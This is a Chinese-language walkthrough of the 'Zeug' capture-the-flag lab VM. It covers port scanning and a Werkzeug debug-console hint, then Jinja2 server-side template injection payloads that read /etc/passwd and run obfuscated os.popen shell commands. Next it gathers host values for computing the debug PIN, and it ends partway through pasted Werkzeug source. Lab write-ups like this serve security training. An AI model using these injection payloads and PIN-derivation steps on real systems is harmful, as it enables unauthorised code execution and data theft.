Zeug
备注
[Linux VM] [Tested on VirtualBox] created by || c4rta
⏲️ Release Date // 2024-02-05
✔️ MD5 // 6c34801ea5de49d8f7c5ff71c818e6f2
☠ Root // 4
💀 User // 4
📝Notes // Enjoy it, you can do it :D
靶机启动
靶机 IP：
192.168.56.122
nmap 信息扫描
Nmap scan report for 192.168.56.122 (192.168.56.122)
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 109 Jan 06 23:14 README.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.11.2
| Date: Tue, 06 Feb 2024 02:13:47 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 549
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Zeug</title>
| <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
| </head>
| <body>
| <h1>Zeug</h1>
| <h3>Rendering HTML templates</h3>
| <form action="/" method="post" enctype="multipart/form-data">
| <input type="file" name="file" accept=".html" title="Select file" required>
| <input type="submit" value="Upload">
| </form>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.11.2
| Date: Tue, 06 Feb 2024 02:14:02 GMT
| Content-Type: text/html; charset=utf-8
| Allow: POST, GET, OPTIONS, HEAD
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
ftp Anonymous
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
根据指纹信息，猜测为 Python Werkzeug 框架的 Debug 功能
http://192.168.56.122:5000/console
此路劲确实存在 Python Werkzeug Debug Console
Python Werkzeug Debug Console
尝试路径扫描，未发现有价值信息
Console 界面无法直接突破
SSTI 构建攻击 exp
存在 SSTI 注入
{{7+7}}
14
{{config.items()}}
dict_items([('DEBUG', True), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])
{{lipsum.__globals__}}
{'__name__': 'jinja2.utils', '__doc__': None, '__package__': 'jinja2', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7facccf95f10>, '__spec__': ModuleSpec(name='jinja2.utils', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7facccf95f10>, origin='/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/utils.py'), '__file__': '/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/utils.py', '__cached__': '/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/__pycache__/utils.cpython-311.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...'in slices.", '__package__': '','__loader__': <class'_frozen_importlib.BuiltinImporter'>,'__spec__': ModuleSpec(name='builtins', loader=<class'_frozen_importlib.BuiltinImporter'>, origin='built-in'),'__build_class__': <built-in function __build_class__>,'__import__': <built-in function __import__>,'abs': <built-in function abs>,'all': <built-in function all>,'any': <built-in function any>,'ascii': <built-in function ascii>,'bin': <built-in function bin>,'breakpoint': <built-in function breakpoint>,'callable': <built-in function callable>,'chr': <built-in function chr>,'compile': <built-in function compile>,'delattr': <built-in function delattr>,'dir': <built-in function dir>,'divmod': <built-in function divmod>,'eval': <built-in function eval>,'exec': <built-in function exec>,'format': <built-in function format>,'getattr': <built-in function getattr>,'globals': <built-in function globals>,'hasattr': <built-in function hasattr>,'hash': <built-in function hash>,'hex': <built-in function hex>,'id': <built-in function id>,'input': <built-in function input>,'isinstance': <built-in function isinstance>,'issubclass': <built-in function issubclass>,'iter': <built-in function iter>,'aiter': <built-in function aiter>,'len': <built-in function len>,'locals': <built-in function locals>,'max': <built-in function max>,'min': <built-in function min>,'next': <built-in function next>,'anext': <built-in function anext>,'oct': <built-in function oct>,'ord': <built-in function ord>,'pow': <built-in function pow>,'print': <built-in function print>,'repr': <built-in function repr>,'round': <built-in function round>,'setattr': <built-in function setattr>,'sorted': <built-in function sorted>,'sum': <built-in function sum>,'vars': <built-in function vars>,'None': None,'Ellipsis': Ellipsis,'NotImplemented': NotImplemented,'False': False,'True': True,'bool': <class'bool'>,'memoryview': <class'memoryview'>,'bytearray': <class'bytearray'>,'bytes': <class'bytes'>,'classmethod': <class'classmethod'>,'complex': <class'complex'>,'dict': <class'dict'>,'enumerate': <class'enumerate'>,'filter': <class'filter'>,'float': <class'float'>,'frozenset': <class'frozenset'>,'property': <class'property'>,'int': <class'int'>,'list': <class'list'>,'map': <class'map'>,'object': <class'object'>,'range': <class'range'>,'reversed': <class'reversed'>,'set': <class'set'>,'slice': <class'slice'>,'staticmethod': <class'staticmethod'>,'str': <class'str'>,'super': <class'super'>,'tuple': <class'tuple'>,'type': <class'type'>,'zip': <class'zip'>,'__debug__': True,'BaseException': <class'BaseException'>,'BaseExceptionGroup': <class'BaseExceptionGroup'>,'Exception': <class'Exception'>,'GeneratorExit': <class'GeneratorExit'>,'KeyboardInterrupt': <class'KeyboardInterrupt'>,'SystemExit': <class'SystemExit'>,'ArithmeticError': <class'ArithmeticError'>,'AssertionError': <class'AssertionError'>,'AttributeError': <class'AttributeError'>,'BufferError': <class'BufferError'>,'EOFError': <class'EOFError'>,'ImportError': <class'ImportError'>,'LookupError': <class'LookupError'>,'MemoryError': <class'MemoryError'>,'NameError': <class'NameError'>,'OSError': <class'OSError'>,'ReferenceError': <class'ReferenceError'>,'RuntimeError': <class'RuntimeError'>,'StopAsyncIteration': <class'StopAsyncIteration'>,'StopIteration': <class'StopIteration'>,'SyntaxError': <class'SyntaxError'>,'SystemError': <class'SystemError'>,'TypeError': <class'TypeError'>,'ValueError': <class'ValueError'>,'Warning': <class'Warning'>,'FloatingPointError': <class'FloatingPointError'>,'OverflowError': <class'OverflowError'>,'ZeroDivisionError': <class'ZeroDivisionError'>,'BytesWarning': <class'BytesWarning'>,'DeprecationWarning': <class'DeprecationWarning'>,'EncodingWarning': <class'EncodingWarning'>,'FutureWarning': <class'FutureWarning'>,'ImportWarning': <class'ImportWarning'>,'PendingDeprecationWarning': <class'PendingDeprecationWarning'>,'ResourceWarning': <class'ResourceWarning'>,'RuntimeWarning': <class'RuntimeWarning'>,'SyntaxWarning': <class'SyntaxWarning'>,'UnicodeWarning': <class'UnicodeWarning'>,'UserWarning': <class'UserWarning'>,'BlockingIOError': <class'BlockingIOError'>,'ChildProcessError': <class'ChildProcessError'>,'ConnectionError': <class'ConnectionError'>,'FileExistsError': <class'FileExistsError'>,'FileNotFoundError': <class'FileNotFoundError'>,'InterruptedError': <class'InterruptedError'>,'IsADirectoryError': <class'IsADirectoryError'>,'NotADirectoryError': <class'NotADirectoryError'>,'PermissionError': <class'PermissionError'>,'ProcessLookupError': <class'ProcessLookupError'>,'TimeoutError': <class'TimeoutError'>,'IndentationError': <class'IndentationError'>,'IndexError': <class'IndexError'>,'KeyError': <class'KeyError'>,'ModuleNotFoundError': <class'ModuleNotFoundError'>,'NotImplementedError': <class'NotImplementedError'>,'RecursionError': <class'RecursionError'>,'UnboundLocalError': <class'UnboundLocalError'>,'UnicodeError': <class'UnicodeError'>,'BrokenPipeError': <class'BrokenPipeError'>,'ConnectionAbortedError': <class'ConnectionAbortedError'>,'ConnectionRefusedError': <class'ConnectionRefusedError'>,'ConnectionResetError': <class'ConnectionResetError'>,'TabError': <class'TabError'>,'UnicodeDecodeError': <class'UnicodeDecodeError'>,'UnicodeEncodeError': <class'UnicodeEncodeError'>,'UnicodeTranslateError': <class'UnicodeTranslateError'>,'ExceptionGroup': <class'ExceptionGroup'>,'EnvironmentError': <class'OSError'>,'IOError': <class'OSError'>,'open': <built-in function open>,'quit': Use quit() or Ctrl-D (i.e. EOF) to exit,'exit': Use exit() or Ctrl-D (i.e. EOF) to exit,'copyright': Copyright (c) 2001-2023 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved.,'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information.,'license': Type license() to see the full license text,'help': Type help() for interactive help, or help(object) for help about object.},'__annotations__': {'missing': typing.Any,'internal_code': typing.MutableSet[code]},'enum': <module'enum'from'/usr/lib/python3.11/enum.py'>,'json': <module'json'from'/usr/lib/python3.11/json/__init__.py'>,'os': <module'os'(frozen)>,'re': <module're'from'/usr/lib/python3.11/re/__init__.py'>,'t': <module'typing'from'/usr/lib/python3.11/typing.py'>,'abc': <module'collections.abc'from'/usr/lib/python3.11/collections/abc.py'>,'deque': <class'collections.deque'>,'choice': <bound method Random.choice of <random.Random object at 0x17aedb0>>,'randrange': <bound method Random.randrange of <random.Random object at 0x17aedb0>>,'Lock': <built-in function allocate_lock>,'CodeType': <class'code'>,'quote_from_bytes': <function quote_from_bytes at 0x7faccdd60a40>,'markupsafe': <module'markupsafe'from'/home/cosette/zeug/venv/lib/python3.11/site-packages/markupsafe/__init__.py'>,'F': ~F,'missing': missing,'internal_code': {<code object __call__ at 0x7facccfc2500, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 566>, <code object call at 0x1a4eb60, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 260>, <code object __getattr__ at 0x7facccf62d30, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 854>, <code object parse at 0x7faccd145570, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 593>, <code object get_or_select_template at 0x7facccf5cc30, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 1066>, <code object load at 0x7facccff2030, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/loaders.py", line 107>, <code object select_template at 0x1ac9ec0, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 1012>, <code object load at 0x7faccce883f0, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/loaders.py", line 563>, <code object _get_default_module at 0x7facccf90030, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 1423>, <code object compile at 0x7faccd1a2b50, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 728>, <code object _load_template at 0x1aed470, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 950>, <code object load at 0x1ae8ad0, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/loaders.py", line 635>, <code object __call__ at 0x7faccd243b40, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 374>, <code object _fail_with_undefined_error at 0x7facccfb32d0, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 845>, <code object __call__ at 0x1b31a70, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 687>, <code object _async_call at 0x7facccf5ea30, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/runtime.py", line 363>, <code object get_template at 0x7faccd0b2a30, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/environment.py", line 975>, <code object load at 0x7faccd13fb50, file"/home/cosette/zeug/venv/lib/python3.11/site-packages/jinja2/loaders.py", line 513>},'concat': <built-in method join of str object at 0xa60e40>,'pass_context': <function pass_context at 0x7facccfa0400>,'pass_eval_context': <function pass_eval_context at 0x7facccfa0680>,'pass_environment': <function pass_environment at 0x7facccfa0720>,'_PassArg': <enum'_PassArg'>,'internalcode': <function internalcode at 0x7facccfa0900>,'is_undefined': <function is_undefined at 0x7facccfa0ae0>,'consume': <function consume at 0x7facccfa0b80>,'clear_caches': <function clear_caches at 0x7facccfa0c20>,'import_string': <function import_string at 0x7facccfa0cc0>,'open_if_exists': <function open_if_exists at 0x7facccfa0d60>,'object_type_repr': <function object_type_repr at 0x7facccfa0e00>,'pformat': <function pformat at 0x7facccfa0ea0>,'_http_re': re.compile('\n ^\n (\n (https?://|www\\.) # scheme or www\n (([\\w%-]+\\.)+)? # subdomain\n (\n [a-z]{2,63} # basic tld\n |\n xn--[\\w%]{2,59} # idna t, re.IGNORECASE|re.VERBOSE), '_email_re': re.compile('^\\S+@\\w[\\w.-]*\\.\\w+$'), 'urlize': <function urlize at 0x7facccfa0f40>, 'generate_lorem_ipsum': <function generate_lorem_ipsum at 0x7facccfa0fe0>, 'url_quote': <function url_quote at 0x7facccfa1080>, 'LRUCache': <class 'jinja2.utils.LRUCache'>, 'select_autoescape': <function select_autoescape at 0x7facccfa1120>, 'htmlsafe_json_dumps': <function htmlsafe_json_dumps at 0x7facccfa1e40>, 'Cycler': <class 'jinja2.utils.Cycler'>, 'Joiner': <class 'jinja2.utils.Joiner'>, 'Namespace': <class 'jinja2.utils.Namespace'>}
{{lipsum.__globals__.__builtins__}}
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...'in slices.", '__package__': '','__loader__': <class'_frozen_importlib.BuiltinImporter'>,'__spec__': ModuleSpec(name='builtins', loader=<class'_frozen_importlib.BuiltinImporter'>, origin='built-in'),'__build_class__': <built-in function __build_class__>,'__import__': <built-in function __import__>,'abs': <built-in function abs>,'all': <built-in function all>,'any': <built-in function any>,'ascii': <built-in function ascii>,'bin': <built-in function bin>,'breakpoint': <built-in function breakpoint>,'callable': <built-in function callable>,'chr': <built-in function chr>,'compile': <built-in function compile>,'delattr': <built-in function delattr>,'dir': <built-in function dir>,'divmod': <built-in function divmod>,'eval': <built-in function eval>,'exec': <built-in function exec>,'format': <built-in function format>,'getattr': <built-in function getattr>,'globals': <built-in function globals>,'hasattr': <built-in function hasattr>,'hash': <built-in function hash>,'hex': <built-in function hex>,'id': <built-in function id>,'input': <built-in function input>,'isinstance': <built-in function isinstance>,'issubclass': <built-in function issubclass>,'iter': <built-in function iter>,'aiter': <built-in function aiter>,'len': <built-in function len>,'locals': <built-in function locals>,'max': <built-in function max>,'min': <built-in function min>,'next': <built-in function next>,'anext': <built-in function anext>,'oct': <built-in function oct>,'ord': <built-in function ord>,'pow': <built-in function pow>,'print': <built-in function print>,'repr': <built-in function repr>,'round': <built-in function round>,'setattr': <built-in function setattr>,'sorted': <built-in function sorted>,'sum': <built-in function sum>,'vars': <built-in function vars>,'None': None,'Ellipsis': Ellipsis,'NotImplemented': NotImplemented,'False': False,'True': True,'bool': <class'bool'>,'memoryview': <class'memoryview'>,'bytearray': <class'bytearray'>,'bytes': <class'bytes'>,'classmethod': <class'classmethod'>,'complex': <class'complex'>,'dict': <class'dict'>,'enumerate': <class'enumerate'>,'filter': <class'filter'>,'float': <class'float'>,'frozenset': <class'frozenset'>,'property': <class'property'>,'int': <class'int'>,'list': <class'list'>,'map': <class'map'>,'object': <class'object'>,'range': <class'range'>,'reversed': <class'reversed'>,'set': <class'set'>,'slice': <class'slice'>,'staticmethod': <class'staticmethod'>,'str': <class'str'>,'super': <class'super'>,'tuple': <class'tuple'>,'type': <class'type'>,'zip': <class'zip'>,'__debug__': True,'BaseException': <class'BaseException'>,'BaseExceptionGroup': <class'BaseExceptionGroup'>,'Exception': <class'Exception'>,'GeneratorExit': <class'GeneratorExit'>,'KeyboardInterrupt': <class'KeyboardInterrupt'>,'SystemExit': <class'SystemExit'>,'ArithmeticError': <class'ArithmeticError'>,'AssertionError': <class'AssertionError'>,'AttributeError': <class'AttributeError'>,'BufferError': <class'BufferError'>,'EOFError': <class'EOFError'>,'ImportError': <class'ImportError'>,'LookupError': <class'LookupError'>,'MemoryError': <class'MemoryError'>,'NameError': <class'NameError'>,'OSError': <class'OSError'>,'ReferenceError': <class'ReferenceError'>,'RuntimeError': <class'RuntimeError'>,'StopAsyncIteration': <class'StopAsyncIteration'>,'StopIteration': <class'StopIteration'>,'SyntaxError': <class'SyntaxError'>,'SystemError': <class'SystemError'>,'TypeError': <class'TypeError'>,'ValueError': <class'ValueError'>,'Warning': <class'Warning'>,'FloatingPointError': <class'FloatingPointError'>,'OverflowError': <class'OverflowError'>,'ZeroDivisionError': <class'ZeroDivisionError'>,'BytesWarning': <class'BytesWarning'>,'DeprecationWarning': <class'DeprecationWarning'>,'EncodingWarning': <class'EncodingWarning'>,'FutureWarning': <class'FutureWarning'>,'ImportWarning': <class'ImportWarning'>,'PendingDeprecationWarning': <class'PendingDeprecationWarning'>,'ResourceWarning': <class'ResourceWarning'>,'RuntimeWarning': <class'RuntimeWarning'>,'SyntaxWarning': <class'SyntaxWarning'>,'UnicodeWarning': <class'UnicodeWarning'>,'UserWarning': <class'UserWarning'>,'BlockingIOError': <class'BlockingIOError'>,'ChildProcessError': <class'ChildProcessError'>,'ConnectionError': <class'ConnectionError'>,'FileExistsError': <class'FileExistsError'>,'FileNotFoundError': <class'FileNotFoundError'>,'InterruptedError': <class'InterruptedError'>,'IsADirectoryError': <class'IsADirectoryError'>,'NotADirectoryError': <class'NotADirectoryError'>,'PermissionError': <class'PermissionError'>,'ProcessLookupError': <class'ProcessLookupError'>,'TimeoutError': <class'TimeoutError'>,'IndentationError': <class'IndentationError'>,'IndexError': <class'IndexError'>,'KeyError': <class'KeyError'>,'ModuleNotFoundError': <class'ModuleNotFoundError'>,'NotImplementedError': <class'NotImplementedError'>,'RecursionError': <class'RecursionError'>,'UnboundLocalError': <class'UnboundLocalError'>,'UnicodeError': <class'UnicodeError'>,'BrokenPipeError': <class'BrokenPipeError'>,'ConnectionAbortedError': <class'ConnectionAbortedError'>,'ConnectionRefusedError': <class'ConnectionRefusedError'>,'ConnectionResetError': <class'ConnectionResetError'>,'TabError': <class'TabError'>,'UnicodeDecodeError': <class'UnicodeDecodeError'>,'UnicodeEncodeError': <class'UnicodeEncodeError'>,'UnicodeTranslateError': <class'UnicodeTranslateError'>,'ExceptionGroup': <class'ExceptionGroup'>,'EnvironmentError': <class'OSError'>,'IOError': <class'OSError'>,'open': <built-in function open>,'quit': Use quit() or Ctrl-D (i.e. EOF) to exit,'exit': Use exit() or Ctrl-D (i.e. EOF) to exit,'copyright': Copyright (c) 2001-2023 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved.,'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information.,'license': Type license() to see the full license text,'help': Type help() for interactive help, or help(object) for help about object.}
/etc/passwd
# {{lipsum.__globals__.__builtins__.open("/etc/passwd").read()}}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd
Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
cosette:x:1001:1001::/home/cosette:/bin/bash
exia:x:1002:1002::/home/exia:/bin/bash
ftp:x:103:112:ftp
daemon,,,:/srv/ftp:/usr/sbin/nologin
ls /
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /\").read()")}}
total 60K
lrwxrwxrwx 1 root root 7 Jan 6 12:09 bin -> usr/bin
drwxr-xr-x 3 root root 4.0K Jan 6 13:50 boot
drwxr-xr-x 17 root root 3.3K Feb 6 02:39 dev
drwxr-xr-x 70 root root 4.0K Jan 7 13:13 etc
drwxr-xr-x 4 root root 4.0K Jan 6 19:28 home
lrwxrwxrwx 1 root root 30 Jan 6 13:28 initrd.img -> boot/initrd.img-6.1.0-17-amd64
lrwxrwxrwx 1 root root 30 Jan 6 13:01 initrd.img.old -> boot/initrd.img-6.1.0-15-amd64
lrwxrwxrwx 1 root root 7 Jan 6 12:09 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jan 6 12:09 lib64 -> usr/lib64
drwx------ 2 root root 16K Jan 6 12:09 lost+found
drwxr-xr-x 3 root root 4.0K Jan 6 12:09 media
drwxr-xr-x 2 root root 4.0K Jan 6 12:09 mnt
drwxr-xr-x 2 root root 4.0K Jan 6 23:29 opt
dr-xr-xr-x 127 root root 0 Feb 6 02:39 proc
drwx------ 4 root root 4.0K Jan 6 23:52 root
drwxr-xr-x 18 root root 500 Feb 6 02:39 run
lrwxrwxrwx 1 root root 8 Jan 6 12:09 sbin -> usr/sbin
drwxr-xr-x 3 root root 4.0K Jan 6 23:09 srv
dr-xr-xr-x 13 root root 0 Feb 6 02:39 sys
drwxrwxrwt 7 root root 4.0K Feb 6 02:39 tmp
drwxr-xr-x 12 root root 4.0K Jan 6 12:09 usr
drwxr-xr-x 12 root root 4.0K Jan 6 15:16 var
lrwxrwxrwx 1 root root 27 Jan 6 13:28 vmlinuz -> boot/vmlinuz-6.1.0-17-amd64
lrwxrwxrwx 1 root root 27 Jan 6 13:01 vmlinuz.old -> boot/vmlinuz-6.1.0-15-amd64
ls -lh /home/cosette
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /home/co"+"sette\").read()")}}
total 20K
-rwx------ 1 cosette cosette 16K Jan 7 13:13 seed_bak
drwx------ 6 cosette cosette 4.0K Jan 7 09:54 zeug
ls -lh /home/cosette/zeug
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /home/co"+"sette/zeug\").read()")}}
total 20K
-rwx------ 1 cosette cosette 2.5K Jan 7 09:54 app.py
drwx------ 2 cosette cosette 4.0K Jan 6 16:43 __pycache__
drwx------ 3 cosette cosette 4.0K Jan 6 15:30 static
drwx------ 2 cosette cosette 4.0K Jan 6 19:18 templates
drwx------ 5 cosette cosette 4.0K Jan 6 16:31 venv
读取环境信息
ls -lh /sys/class/net/
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /sys/class/net/\").read()")}}
total 0
lrwxrwxrwx 1 root root 0 Feb 5 20:11 enp0s3 -> ../../devices/pci0000:00/0000:00:03.0/net/enp0s3
lrwxrwxrwx 1 root root 0 Feb 5 20:11 lo -> ../../devices/virtual/net/lo
获得计算 PIN 值需要的信息
cat /sys/class/net/enp0s3/address
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"cat /sys/class/net/enp0s3/address\").read()")}}
08:00:27:05:3b:5c
cat /proc/sys/kernel/random/boot_id
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"cat /proc/sys/kernel/random/boot_id\").read()")}}
7fc0efd5-5586-43eb-bef5-72b7b0a675b1
cat /proc/self/cgroup
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"cat /proc/self/cgroup\").read()")}}
0::/system.slice/zeug-app.service
ls -lh /home/cosette/zeug/venv
total 16K
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 bin
drwx------ 3 cosette cosette 4.0K Jan 6 16:31 include
drwx------ 3 cosette cosette 4.0K Jan 6 16:31 lib
lrwxrwxrwx 1 cosette cosette 3 Jan 6 16:31 lib64 -> lib
-rwx------ 1 cosette cosette 162 Jan 6 16:31 pyvenv.cfg
ls -lh /home/cosette/zeug/venv/lib/python3.11/site-packages
# {{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /home/co"+"sette/zeug/venv/lib/python3.11/site-packages\").read()")}}
total 144K
drwx------ 4 cosette cosette 4.0K Jan 6 16:50 bleach
drwx------ 2 cosette cosette 4.0K Jan 6 16:50 bleach-6.1.0.dist-info
drwx------ 3 cosette cosette 4.0K Jan 6 16:48 blinker
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 blinker-1.7.0.dist-info
drwx------ 3 cosette cosette 4.0K Jan 6 16:48 click
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 click-8.1.7.dist-info
drwx------ 3 cosette cosette 4.0K Jan 6 16:31 _distutils_hack
-rwx------ 1 cosette cosette 151 Jan 6 16:31 distutils-precedence.pth
drwx------ 5 cosette cosette 4.0K Jan 6 16:48 flask
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 flask-3.0.0.dist-info
drwx------ 3 cosette cosette 4.0K Jan 6 16:48 itsdangerous
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 itsdangerous-2.1.2.dist-info
drwx------ 3 cosette cosette 4.0K Jan 6 16:48 jinja2
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 Jinja2-3.1.2.dist-info
drwx------ 3 cosette cosette 4.0K Jan 6 16:48 markupsafe
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 MarkupSafe-2.1.3.dist-info
drwx------ 5 cosette cosette 4.0K Jan 6 16:31 pip
drwx------ 2 cosette cosette 4.0K Jan 6 16:31 pip-23.0.1.dist-info
drwx------ 5 cosette cosette 4.0K Jan 6 16:31 pkg_resources
drwx------ 2 cosette cosette 4.0K Jan 6 16:50 __pycache__
drwx------ 8 cosette cosette 4.0K Jan 6 16:31 setuptools
drwx------ 2 cosette cosette 4.0K Jan 6 16:31 setuptools-66.1.1.dist-info
drwx------ 2 cosette cosette 4.0K Jan 6 16:50 six-1.16.0.dist-info
-rwx------ 1 cosette cosette 34K Jan 6 16:50 six.py
drwx------ 3 cosette cosette 4.0K Jan 6 16:50 webencodings
drwx------ 2 cosette cosette 4.0K Jan 6 16:50 webencodings-0.5.1.dist-info
drwx------ 9 cosette cosette 4.0K Jan 6 16:48 werkzeug
drwx------ 2 cosette cosette 4.0K Jan 6 16:48 werkzeug-3.0.1.dist-info
可以得到相关的包的版本信息
| Package Name | Version |
|---|---|
| werkzeug | 3.0.1 |
| Flask | 3.0.0 |
werkzeug 3.0.1 PIN Code 计算部分的原始脚本
from __future__ import annotations
import getpass
import hashlib
import json
import os
import pkgutil
import re
import sys
import time
import typing as t
import uuid
from contextlib import ExitStack
from io import BytesIO
from itertools import chain
from os.path import basename
from os.path import join
from zlib import adler32
from .._internal import _log
from ..exceptions import NotFound
from ..http import parse_cookie
from ..security import gen_salt
from ..utils import send_file
from ..wrappers.request import Request
from ..wrappers.response import Response
from .console import Console
from .tbtools import DebugFrameSummary
from .tbtools import DebugTraceback
from .tbtools import render_console_html
if t.TYPE_CHECKING:
from _typeshed.wsgi import StartResponse
from _typeshed.wsgi import WSGIApplication
from _typeshed.wsgi import WSGIEnvironment
# A week
PIN_TIME = 60 * 60 * 24 * 7
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
_machine_id: str | bytes | None = None
def get_machine_id() -> str | bytes | None:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> str | bytes | None:
linux = b""
# machine-id is stable across boots, boot_id is not.
